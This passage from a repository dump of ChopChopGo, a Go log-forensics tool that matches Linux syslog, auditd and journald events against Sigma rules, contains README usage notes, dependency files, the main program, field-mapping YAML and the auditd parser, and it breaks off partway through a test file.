| attack.defense_evasion-attack.t1562.004 |\n|                 | iptables.service: Deactivated  |                                         |\n|                 | successfully.                  |                                         |\n| Mar  4 10:19:03 | DESKTOP-RNL1DBO systemd[1]:    | attack.defense_evasion-attack.t1562.004 |\n|                 | iptables.service: Deactivated  |                                         |\n|                 | successfully.                  |                                         |\n+-----------------+--------------------------------+-----------------------------------------+\nProcessed 67504 syslog events\n```\n\n## Quick Start Guide\n\n### Downloading and Running\n\nFor an all-in-one zip container the ChopChopGo binary, and the official sigma rules to go with it, check out the [releases section](https://github.com/M00NLIG7/ChopChopGo/releases) In this releases section you will also find pre-compiled binary-only versions of ChopChopGo.\n\nIf you want to compile ChopChopGo yourself, you can clone the ChopChopGo repo:\n\n`git clone https://github.com/M00NLIG7/ChopChopGo.git`\n\nand compile the code yourself by running: `go build`.\n\nYou might need to install the development files for systemd (e. g. `apt-get install libsystemd-dev`)\n\n#### Command Examples\n\n```bash\n# Defaults to searching through syslog\n./ChopChopGo\n\n# Scan an auditd log with the official sigma rules\n./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -file /opt/evidence/auditd.log\n\n# Scan journald with specified rules\n./ChopChopGo -target journald -rules ./rules/linux/builtin/\n\n# Use a custom field-mapping file\n./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -mapping ./my-mappings/auditd.yml\n```\n\n#### Alternative Output Formats\n\nYou may wish to use ChopChopGo in an automated fashion. The CSV and JSON output options are useful for this purpose. With both of these options, the header and progress statistics are not printed to the console.\nThe alternative output format is written to stdout - you can process it from there (e. g. write it to a file for later use).\n\nEach option can be specified using the `-out` parameter.\n\n##### CSV\n\n```bash\n./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out csv\n```\n\n##### JSON\n\n```bash\n./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out json\n```\n\n### Field Mapping\n\nChopChopGo translates Sigma rule field names to log-native field names via YAML mapping files in `mappings/`:\n\n```\nmappings/\n  auditd.yml    # CommandLine→exe, Image→exe, ProcessId→pid, User→auid …\n  syslog.yml    # Message→message, Hostname→facility …\n  journald.yml  # Message→message, Timestamp→timestamp …\n```\n\nThese are loaded automatically based on the `-target`. If a mapping file is absent the tool falls back to pass-through (field names used verbatim), so existing behaviour is unchanged.\n\nTo supply your own mapping file — for example to run community rules written for a different schema — use the `-mapping` flag:\n\n```bash\n./ChopChopGo -target auditd -rules ./rules/ -mapping ./mappings/custom-auditd.yml\n```\n\nA mapping file looks like this:\n\n```yaml\nsource: auditd\nfields:\n  CommandLine: exe      # Sigma field → auditd native field\n  Image:       exe\n  ProcessId:   pid\n  User:        auid\n```\n\n### Updating Sigma Rules\n\nThe repository includes a simple script to update the included sigma rules to the newest state from the [Sigma Rules repo](https://github.com/SigmaHQ/sigma/).\n\n```bash\n./update-rules.sh\n```\n\n"
  },
  {
    "path": "TODO.md",
    "content": "# TODO\n\nAuthor: M00NLIG7\n\n---\n\nNo open items.\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/M00NLIG7/ChopChopGo\n\ngo 1.18\n\nrequire (\n\tgithub.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3\n\tgithub.com/coreos/go-systemd/v22 v22.5.0\n\tgithub.com/olekukonko/tablewriter v0.0.5\n\tgithub.com/schollz/progressbar/v3 v3.13.0\n)\n\nrequire (\n\tgithub.com/gobwas/glob v0.2.3 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.14 // indirect\n\tgithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect\n\tgithub.com/rivo/uniseg v0.4.3 // indirect\n\tgithub.com/stretchr/testify v1.6.1 // indirect\n\tgolang.org/x/sys v0.4.0 // indirect\n\tgolang.org/x/term v0.4.0 // indirect\n\tgopkg.in/yaml.v2 v2.4.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3 h1:WEwycC1Fc+gv+t5T+YJvdJbm64R+Z2q1uG1/9jbN4Sw=\ngithub.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3/go.mod h1:PHmeNNl0isjwjCxH8blwcXj6gCZ2/3vDAOW21K3yspQ=\ngithub.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=\ngithub.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=\ngithub.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=\ngithub.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=\ngithub.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=\ngithub.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=\ngithub.com/markuskont/datamodels v0.0.1 h1:Pibmdtfp4hTypvmFmmCPIkSPxUZ6rpi/myd8U9F/5y4=\ngithub.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=\ngithub.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=\ngithub.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=\ngithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=\ngithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=\ngithub.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=\ngithub.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=\ngithub.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=\ngithub.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw=\ngithub.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=\ngithub.com/schollz/progressbar/v3 v3.13.0 h1:9TeeWRcjW2qd05I8Kf9knPkW4vLM/hYoa6z9ABvxje8=\ngithub.com/schollz/progressbar/v3 v3.13.0/go.mod h1:ZBYnSuLAX2LU8P8UiKN/KgF2DY58AJC8yfVYLPC8Ly4=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=\ngithub.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18=\ngolang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/term v0.4.0 h1:O7UWfv5+A2qiuulQk30kVinPoMtoIPeVaKLEgLpVkvg=\ngolang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/user\"\n\n\t\"github.com/M00NLIG7/ChopChopGo/maps/auditd\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/journald\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/syslog\"\n)\n\nfunc isRoot() bool {\n\tcurrentUser, err := user.Current()\n\tif err != nil {\n\t\tlog.Fatalf(\"[isRoot] Unable to get current user: %s\", err)\n\t}\n\treturn currentUser.Username == \"root\"\n}\n\nfunc main() {\n\tif !isRoot() {\n\t\t// depending on the file access permissions, we might not need root rights\n\t\t// especially when targeting logs collected from other systems, we might encounter more lax permissions on the files\n\t\tfmt.Fprintln(os.Stderr, \"Warning: not running as superuser - some accesses might fail!\")\n\t}\n\n\tvar target string\n\tvar path string\n\tvar outputType string\n\tvar file string\n\tvar mappingPath string\n\n\tflag.StringVar(&target, \"target\", \"syslog\", \"what type of data is to be scanned (auditd, journald, syslog)\")\n\tflag.StringVar(&path, \"rules\", \"rules/linux/builtin/syslog\", \"where to pull the yaml rules you're applying\")\n\tflag.StringVar(&outputType, \"out\", \"\", \"what type of output you want (csv, json, or leave empty for table)\")\n\tflag.StringVar(&file, \"file\", \"\", \"which specific file should be scanned (falls back to target-specific defaults when left empty)\")\n\tflag.StringVar(&mappingPath, \"mapping\", \"\", \"path to a custom field-mapping YAML file (overrides the built-in mappings/<target>.yml)\")\n\n\tflag.Parse()\n\n\tif outputType != \"csv\" && outputType != \"json\" {\n\t\tbanner := `  ▄████▄   ██░ ██  ▒█████   ██▓███      ▄████▄   ██░ ██  ▒█████   ██▓███       ▄████  ▒█████\n ▒██▀ ▀█  ▓██░ ██▒▒██▒  ██▒▓██░  ██▒   ▒██▀ ▀█  ▓██░ ██▒▒██▒  ██▒▓██░  ██▒    ██▒ ▀█▒▒██▒  ██▒\n ▒▓█    ▄ ▒██▀▀██░▒██░  ██▒▓██░ ██▓▒   ▒▓█    ▄ ▒██▀▀██░▒██░  ██▒▓██░ ██▓▒   ▒██░▄▄▄░▒██░  ██▒\n ▒▓▓▄ ▄██▒░▓█ ░██ ▒██   ██░▒██▄█▓▒ ▒   ▒▓▓▄ ▄██▒░▓█ ░██ ▒██   ██░▒██▄█▓▒ ▒   ░▓█  ██▓▒██   ██░\n ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░  ░   ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░  ░   ░▒▓███▀▒░ ████▓▒░\n ░ ░▒ ▒  ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░  ░   ░ ░▒ ▒  ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░  ░    ░▒   ▒ ░ ▒░▒░▒░\n   ░  ▒    ▒ ░▒░ ░  ░ ▒ ▒░ ░▒ ░          ░  ▒    ▒ ░▒░ ░  ░ ▒ ▒░ ░▒ ░          ░   ░   ░ ▒ ▒░\n ░         ░  ░░ ░░ ░ ░ ▒  ░░          ░         ░  ░░ ░░ ░ ░ ▒  ░░          ░ ░   ░ ░ ░ ░ ▒\n ░ ░       ░  ░  ░    ░ ░              ░ ░       ░  ░  ░    ░ ░                    ░     ░ ░\n ░                                     ░\n\t\t\tBy Keyboard Cowboys (M00NL1G7)\n`\n\t\tfmt.Println(banner)\n\t}\n\n\tswitch target {\n\tcase \"auditd\":\n\t\tauditd.ChopToLog(path, outputType, file, mappingPath)\n\tcase \"syslog\":\n\t\tsyslog.ChopToLog(path, outputType, file, mappingPath)\n\tcase \"journald\":\n\t\tif file != \"\" {\n\t\t\tfmt.Fprintln(os.Stderr, \"Error: the journald target does not support -file; journald uses a binary format accessible only via the systemd API.\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tjournald.ChopToLog(path, outputType, mappingPath)\n\tdefault:\n\t\tfmt.Fprintf(os.Stderr, \"Error: unknown target %q (must be auditd, journald, or syslog)\\n\", target)\n\t\tos.Exit(1)\n\t}\n}\n"
  },
  {
    "path": "mappings/auditd.yml",
    "content": "# Field mapping for auditd log sources.\n# Left side: Sigma rule field name.\n# Right side: auditd native field name as it appears in the log.\nsource: auditd\nfields:\n  # Process\n  CommandLine:       exe\n  Image:             exe\n  ProcessId:         pid\n  ParentProcessId:   ppid\n  ParentImage:       comm\n\n  # Identity\n  User:              auid\n  LogonId:           ses\n\n  # Event metadata\n  EventType:         type\n  AuditKey:          key\n\n  # EXECVE arguments — sigma rules for auditd commonly reference these directly\n  # but map them here for rules written with generic names\n  a0:                a0\n  a1:                a1\n  a2:                a2\n  a3:                a3\n\n  # PATH record\n  TargetFilename:    name\n"
  },
  {
    "path": "mappings/journald.yml",
    "content": "# Field mapping for systemd journal log sources.\n# Left side: Sigma rule field name.\n# Right side: journald native field name as exposed by the JournaldEvent struct.\nsource: journald\nfields:\n  Message:   message\n  Timestamp: timestamp\n"
  },
  {
    "path": "mappings/syslog.yml",
    "content": "# Field mapping for syslog log sources (including auth.log, kern.log, etc.)\n# Left side: Sigma rule field name.\n# Right side: syslog native field name as exposed by the SyslogEvent struct.\nsource: syslog\nfields:\n  # Message body — most syslog Sigma rules match on this\n  Message:   message\n\n  # Hostname is stored in the Facility field (closest available without <PRI>)\n  Hostname:  facility\n  Computer:  facility\n"
  },
  {
    "path": "maps/auditd/auditd.go",
    "content": "package auditd\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\tsigma \"github.com/M00NLIG7/go-sigma-rule-engine\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/mapping\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/output\"\n\t\"github.com/schollz/progressbar/v3\"\n)\n\n// AuditEvent represents a single record from the auditd log.\ntype AuditEvent struct {\n\tType string\n\tData map[string]string\n}\n\n// Keywords satisfies the sigma.Event interface.\nfunc (e AuditEvent) Keywords() ([]string, bool) {\n\tkeywords := []string{e.Type}\n\tfor k := range e.Data {\n\t\tkeywords = append(keywords, k)\n\t}\n\treturn keywords, true\n}\n\n// Select satisfies the sigma.Event interface.\nfunc (e AuditEvent) Select(name string) (interface{}, bool) {\n\tif name == \"type\" {\n\t\treturn e.Type, true\n\t}\n\tif value, ok := e.Data[name]; ok {\n\t\treturn value, true\n\t}\n\treturn nil, false\n}\n\n// MappedAuditEvent wraps an AuditEvent with a field-name mapping so that\n// Sigma rules written with non-native field names (e.g. CommandLine → exe)\n// are resolved transparently before Select is called.\ntype MappedAuditEvent struct {\n\tAuditEvent\n\tm *mapping.Mapping\n}\n\nfunc (e MappedAuditEvent) Keywords() ([]string, bool) { return e.AuditEvent.Keywords() }\n\nfunc (e MappedAuditEvent) Select(name string) (interface{}, bool) {\n\treturn e.AuditEvent.Select(e.m.Resolve(name))\n}\n\n// extractAuditToken finds the audit(UNIXTS.mmm:SEQ) token in line and returns\n// the sequence number and a formatted RFC3339 timestamp. Returns (\"\", \"\") when\n// no valid token is present. This replaces the msgRe regex, eliminating the\n// []string submatch allocation on every line.\nfunc extractAuditToken(line string) (seq, ts string) {\n\tidx := strings.Index(line, \"audit(\")\n\tif idx < 0 {\n\t\treturn \"\", \"\"\n\t}\n\ts := line[idx+6:] // skip \"audit(\"\n\tdot := strings.IndexByte(s, '.')\n\tif dot < 0 {\n\t\treturn \"\", \"\"\n\t}\n\tunixStr := s[:dot]\n\ts = s[dot+1:]\n\tcolon := strings.IndexByte(s, ':')\n\tif colon < 0 {\n\t\treturn \"\", \"\"\n\t}\n\ts = s[colon+1:]\n\tend := strings.IndexByte(s, ')')\n\tif end < 0 {\n\t\treturn \"\", \"\"\n\t}\n\tseq = s[:end]\n\tunixTime, err := strconv.ParseInt(unixStr, 10, 64)\n\tif err != nil {\n\t\treturn seq, \"\"\n\t}\n\treturn seq, time.Unix(unixTime, 0).UTC().Format(time.RFC3339)\n}\n\n// mergeLineInto parses line with the character-walking tokenizer and writes\n// each key=value pair into dest using first-wins semantics — keys already\n// present in dest are not overwritten. The pre-extracted ts and seq are written\n// before scanning so that SYSCALL fields always win over later record types.\n// The msg=audit(...) token is skipped since extractAuditToken already handled it.\nfunc mergeLineInto(line string, dest map[string]string, ts, seq string) {\n\tif ts != \"\" {\n\t\tif _, ok := dest[\"timestamp\"]; !ok {\n\t\t\tdest[\"timestamp\"] = ts\n\t\t}\n\t}\n\tif seq != \"\" {\n\t\tif _, ok := dest[\"seq\"]; !ok {\n\t\t\tdest[\"seq\"] = seq\n\t\t}\n\t}\n\n\ti, n := 0, len(line)\n\tfor i < n {\n\t\tfor i < n && line[i] == ' ' {\n\t\t\ti++\n\t\t}\n\t\tif i >= n {\n\t\t\tbreak\n\t\t}\n\n\t\tkeyStart := i\n\t\tfor i < n && line[i] != '=' && line[i] != ' ' {\n\t\t\ti++\n\t\t}\n\t\tif i >= n || line[i] != '=' {\n\t\t\tfor i < n && line[i] != ' ' {\n\t\t\t\ti++\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tkey := line[keyStart:i]\n\t\ti++ // consume '='\n\n\t\tvar value string\n\t\tif i < n && line[i] == '\"' {\n\t\t\ti++\n\t\t\tstart := i\n\t\t\tfor i < n && line[i] != '\"' {\n\t\t\t\ti++\n\t\t\t}\n\t\t\tvalue = line[start:i]\n\t\t\tif i < n {\n\t\t\t\ti++\n\t\t\t}\n\t\t} else if i < n && line[i] == '\\'' {\n\t\t\ti++\n\t\t\tstart := i\n\t\t\tfor i < n && line[i] != '\\'' {\n\t\t\t\ti++\n\t\t\t}\n\t\t\tvalue = line[start:i]\n\t\t\tif i < n {\n\t\t\t\ti++\n\t\t\t}\n\t\t} else {\n\t\t\tstart := i\n\t\t\tfor i < n && line[i] != ' ' {\n\t\t\t\ti++\n\t\t\t}\n\t\t\tvalue = line[start:i]\n\t\t}\n\n\t\t// Skip the msg=audit(...) token — handled by extractAuditToken.\n\t\tif key == \"msg\" && len(value) > 6 && value[:6] == \"audit(\" {\n\t\t\tcontinue\n\t\t}\n\t\tif _, exists := dest[key]; !exists {\n\t\t\tdest[key] = value\n\t\t}\n\t}\n}\n\n// parseLine tokenizes a single auditd log line into a key-value map.\n// The hot path in ParseEvents calls extractAuditToken + mergeLineInto directly\n// to avoid allocating an intermediate map; parseLine is retained for tests.\nfunc parseLine(line string) map[string]string {\n\tdest := make(map[string]string, 16)\n\tseq, ts := extractAuditToken(line)\n\tmergeLineInto(line, dest, ts, seq)\n\treturn dest\n}\n\n// windowSize is the maximum number of distinct sequence numbers held in memory\n// at once. auditd records for a single event are always written consecutively\n// (typically 4–6 records), so 32 is a generous safety margin. Peak memory\n// usage is O(windowSize × fields) regardless of log size.\nconst windowSize = 32\n\n// ParseEvents reads an auditd log file, correlates multi-record events by their\n// sequence number, and returns one merged AuditEvent per logical event.\n//\n// auditd writes several record types (SYSCALL, EXECVE, CWD, PATH, …) for a\n// single kernel event, all sharing the same msg=audit(ts:seq) sequence number.\n// Merging them gives Sigma rules a complete field set — exe, auid, name, cwd —\n// in a single event, eliminating blank columns and duplicate rule hits.\n//\n// Field precedence within a group: first record wins. SYSCALL is always\n// written before EXECVE/CWD/PATH so SYSCALL fields (exe, auid, pid) take\n// priority over the same-named fields on later record types.\n//\n// Streaming sliding-window: at most windowSize groups are kept in memory at\n// once. When the window is full and a new sequence number arrives, the oldest\n// group is flushed immediately. This reduces peak memory from O(total records)\n// to O(windowSize × fields), making multi-GB log scanning practical.\nfunc ParseEvents(logFile string) ([]AuditEvent, error) {\n\tfile, err := os.Open(logFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar events []AuditEvent\n\tstandalone := 0\n\n\t// window is a fixed-capacity queue of seq strings in insertion order.\n\t// We keep it at most windowSize long; copy+reslice keeps the backing\n\t// array capped at windowSize+1 so memory stays O(windowSize).\n\twindow := make([]string, 0, windowSize+1)\n\t// groups maps seq → merged field map; only window entries are present.\n\tgroups := make(map[string]map[string]string, windowSize)\n\n\t// soloKey is a stack-allocated scratch buffer for formatting __solo_N keys,\n\t// avoiding the interface boxing that fmt.Sprintf would cause.\n\tvar soloKey [32]byte\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif !strings.HasPrefix(line, \"type=\") {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Extract seq and timestamp without allocating an intermediate map.\n\t\tseq, ts := extractAuditToken(line)\n\t\tif seq == \"\" {\n\t\t\t// Record has no parseable sequence — treat as its own event.\n\t\t\tb := append(soloKey[:0], \"__solo_\"...)\n\t\t\tb = strconv.AppendInt(b, int64(standalone), 10)\n\t\t\tseq = string(b)\n\t\t\tstandalone++\n\t\t}\n\n\t\tif _, exists := groups[seq]; !exists {\n\t\t\t// New seq: evict oldest group if the window is full.\n\t\t\tif len(window) >= windowSize {\n\t\t\t\toldest := window[0]\n\t\t\t\tcopy(window, window[1:])\n\t\t\t\twindow = window[:len(window)-1]\n\t\t\t\tg := groups[oldest]\n\t\t\t\tdelete(groups, oldest)\n\t\t\t\tevents = append(events, AuditEvent{Type: g[\"type\"], Data: g})\n\t\t\t}\n\t\t\twindow = append(window, seq)\n\t\t\tgroups[seq] = make(map[string]string, 16)\n\t\t}\n\n\t\t// Merge directly into the group map — no intermediate map allocated.\n\t\tmergeLineInto(line, groups[seq], ts, seq)\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Flush all remaining groups in insertion order.\n\tfor _, seq := range window {\n\t\tg := groups[seq]\n\t\tevents = append(events, AuditEvent{Type: g[\"type\"], Data: g})\n\t}\n\treturn events, nil\n}\n\n// FindLog returns filePath when non-empty, otherwise reads /etc/audit/auditd.conf\n// to locate the active log file.\nfunc FindLog(file string) (string, error) {\n\tif file != \"\" {\n\t\tif _, err := os.Stat(file); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to find provided file %v\", file)\n\t\t}\n\t\treturn file, nil\n\t}\n\n\tf, err := os.Open(\"/etc/audit/auditd.conf\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to open auditd.conf: %v\", err)\n\t}\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tline := strings.TrimSpace(scanner.Text())\n\t\tif strings.HasPrefix(line, \"log_file\") {\n\t\t\tparts := strings.SplitN(line, \"=\", 2)\n\t\t\tif len(parts) == 2 {\n\t\t\t\treturn strings.TrimSpace(parts[1]), nil\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"log_file option not found in auditd.conf\")\n}\n\nvar auditdRenderer = output.Renderer{\n\tHeaders: []string{\"Timestamp\", \"User\", \"Exe\", \"Terminal\", \"PID\", \"Tags\", \"Author\"},\n\tRow: func(r output.ScanResult) []string {\n\t\treturn []string{\n\t\t\tr.Timestamp,\n\t\t\tr.User,\n\t\t\tr.Exe,\n\t\t\tr.Terminal,\n\t\t\tr.PID,\n\t\t\toutput.TagString(r.Tags),\n\t\t\tr.Author,\n\t\t}\n\t},\n}\n\nfunc toScanResult(event AuditEvent, res sigma.Results) output.ScanResult {\n\treturn output.ScanResult{\n\t\tTimestamp: event.Data[\"timestamp\"],\n\t\t// auditd logs use lowercase \"auid\", not \"AUID\"\n\t\tUser:     event.Data[\"auid\"],\n\t\tExe:      event.Data[\"exe\"],\n\t\tTerminal: event.Data[\"terminal\"],\n\t\tPID:      event.Data[\"pid\"],\n\t\tTags:     res[0].Tags,\n\t\tAuthor:   res[0].Author,\n\t\tRuleID:   res[0].ID,\n\t\tTitle:    res[0].Title,\n\t}\n}\n\n// Chop scans the auditd log against Sigma rules and writes results to stdout.\n// mappingPath overrides the default mappings/auditd.yml when non-empty.\nfunc Chop(rulePath, outputType, filePath, mappingPath string) error {\n\tauditdLogPath, err := FindLog(filePath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"finding audit log: %w\", err)\n\t}\n\n\tevents, err := ParseEvents(auditdLogPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"parsing audit log: %w\", err)\n\t}\n\n\truleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"loading ruleset: %w\", err)\n\t}\n\n\tshowProgress := outputType != \"json\" && outputType != \"csv\"\n\tvar bar *progressbar.ProgressBar\n\tif showProgress {\n\t\tbar = progressbar.Default(int64(len(events)))\n\t}\n\n\tif mappingPath == \"\" {\n\t\tmappingPath = \"mappings/auditd.yml\"\n\t}\n\tm := mapping.LoadOrIdentity(mappingPath, \"auditd\")\n\n\tvar results []output.ScanResult\n\tfor _, event := range events {\n\t\tmapped := MappedAuditEvent{event, m}\n\t\tif res, match := ruleset.EvalAll(mapped); match {\n\t\t\tresults = append(results, toScanResult(event, res))\n\t\t}\n\t\tif showProgress {\n\t\t\tbar.Add(1)\n\t\t}\n\t}\n\n\tif err := output.Write(os.Stdout, outputType, results, auditdRenderer); err != nil {\n\t\treturn fmt.Errorf(\"writing output: %w\", err)\n\t}\n\tif showProgress {\n\t\tfmt.Printf(\"Processed %d auditd events\\n\", len(events))\n\t}\n\treturn nil\n}\n\n// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.\nfunc ChopToLog(rulePath, outputType, filePath, mappingPath string) {\n\tif err := Chop(rulePath, outputType, filePath, mappingPath); err != nil {\n\t\tlog.Fatalf(\"auditd: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "maps/auditd/auditd_test.go",
    "content": "package auditd\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n)\n\nconst testdataDir = \"../../testdata\"\n\nfunc TestParseEventsStandard(t *testing.T) {\n\tevents, err := ParseEvents(filepath.Join(testdataDir, \"auditd.log\"))\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\t// 5 type= lines but lines 1-3 share seq 24287 and are merged into one.\n\t// Expected logical events: seq 24287, 24288, 24289 → 3 total.\n\tif len(events) != 3 {\n\t\tt.Errorf(\"expected 3 correlated events, got %d\", len(events))\n\t}\n\n\tfirst := events[0]\n\tif first.Type != \"SYSCALL\" {\n\t\tt.Errorf(\"expected type SYSCALL, got %q\", first.Type)\n\t}\n\tif first.Data[\"exe\"] != \"/bin/cat\" {\n\t\tt.Errorf(\"expected exe=/bin/cat, got %q\", first.Data[\"exe\"])\n\t}\n\tif first.Data[\"pid\"] != \"3538\" {\n\t\tt.Errorf(\"expected pid=3538, got %q\", first.Data[\"pid\"])\n\t}\n\tif first.Data[\"auid\"] != \"1000\" {\n\t\tt.Errorf(\"expected auid=1000, got %q\", first.Data[\"auid\"])\n\t}\n\tif first.Data[\"timestamp\"] == \"\" {\n\t\tt.Error(\"expected non-empty timestamp\")\n\t}\n\t// Fields from the correlated CWD and PATH records should be merged in.\n\tif first.Data[\"cwd\"] != \"/home/user\" 